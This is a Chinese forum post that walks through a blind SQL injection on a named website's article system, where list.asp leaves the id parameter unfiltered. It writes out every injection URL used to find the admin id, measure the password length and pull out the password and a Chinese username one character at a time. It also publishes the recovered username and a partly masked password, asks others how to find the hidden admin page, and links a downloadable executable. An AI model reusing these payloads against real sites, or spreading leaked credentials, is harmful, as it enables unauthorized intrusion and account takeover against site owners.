浪客联盟的文章管理的密码 |
| 用户名：蛊惑男孩 密码：win!#%**** 呵呵，欲望这个你熟吧。 本来是无意的，得到了你的用户名和密码，竟无法进入的你文章管理，不知道你把管理入口搬到哪里去了。 我就说说我是如何得到这个密码和用户名， 他的文章管理是动网的，因为list.asp对id没有过滤，所以可以进行注入攻击，本来LCX有个脚本的，可是我怎么也不会使只好自己手动了， 首先提交如下 http://longker.7x24.cn/article/list.asp?id=253 and 1=1 http://longker.7x24.cn/article/list.asp?id=253 and 1=2 发现如果为真则返回文章，否则返回找不到改文章， 好了，来判断管理员id http://longker.7x24.cn/article/list.asp?id=253 and 1=(select id from admin where flag=1) F返回文章》》》管理员ID为1 http://longker.7x24.cn/article/list.asp?id=253 and 1=(select max(id) from admin where flag=1) 返回文章》》》》只有一个管理员 http://longker.7x24.cn/article/list.asp?id=253 and 1=(select id from admin where len(password)>2) 返回文章》》》密码长度大于2 http://longker.7x24.cn/article/list.asp?id=253 and 1=(select id from admin where len(password)>11) 没返回文章》》》密码长度小于11 http://longker.7x24.cn/article/list.asp?id=253 and 1=(select id from admin where len(password)=10) 返回了》》》密码长度为10呵呵，有门了 http://longker.7x24.cn/article/list.asp?id=253 and 1=(select id from admin where asc(mid(password,1,1))>100) 这里解释一下，MID函数可以把密码分成若干部分取出，使用方法 MID（字符串，起始位，取出的字符串的长度），我的这句是说把PASSWORD中的第一位字符取出， ASC可以把字母转换成ASC码 然后我就判断他的ASC码的范围 返回了，好的，继续 http://longker.7x24.cn/article/list.asp?id=253 and 1=(select id from admin where asc(mid(password,1,1))>120) 这次没返回，看来介于100 和120 然后慢慢试，最后提交这个语句 http://longker.7x24.cn/article/list.asp?id=253 and 1=(select id from admin where asc(mid(password,1,1))=119) 返回了，好的，就是119，查一下，是 w 好的开始猜第二位 http://longker.7x24.cn/article/list.asp?id=253 and 1=(select id from admin where asc(mid(password,2,1))>100) 。。。。。。 没什么新意了，最后得到了密码 然后我就想他的用户名，下面有点意思 http://longker.7x24.cn/article/list.asp?id=253 and 1=(select id from admin where asc(mid(username,1,1))>100) 没有返回文章，慢慢我发现提交了很多也没返回，原来他的用户名是中文！ 晕，怎么办？？？似乎不能用ASC来转换中文， 在研究了一点VB后，发现事情有了转机，大家都知道ASC都是正的， 但是汉字也可以ASC转换的，他是负！！而且一般都很大，很多嘛。 哈哈，好的， 提交如下： http://longker.7x24.cn/article/list.asp?id=253 and 1=(select id from admin where asc(mid(username,1,1))>-18000) 哈哈，终于返回了文章！！ 然后慢慢试得到了如下的四个码 -17978 蛊 -17421 惑 -15152 男 -17758 孩 呵呵，只要用CHR一转变就出汉字了。我自己顺手遍了个程序，在论坛的“汉字猜测”文章里。 输入码，出汉字。 好了，这里就得到了，但是我发现他把管理入口不知道弄到哪里去了，晕，一直猜了好久也没 猜到，动用GOOGLE也没查到，有没有高手给个方法？？ 顺便写了个转换小程序 http://www.roott.com/pig.exe |
相关下载
ehviewer新版白色
熊猫看书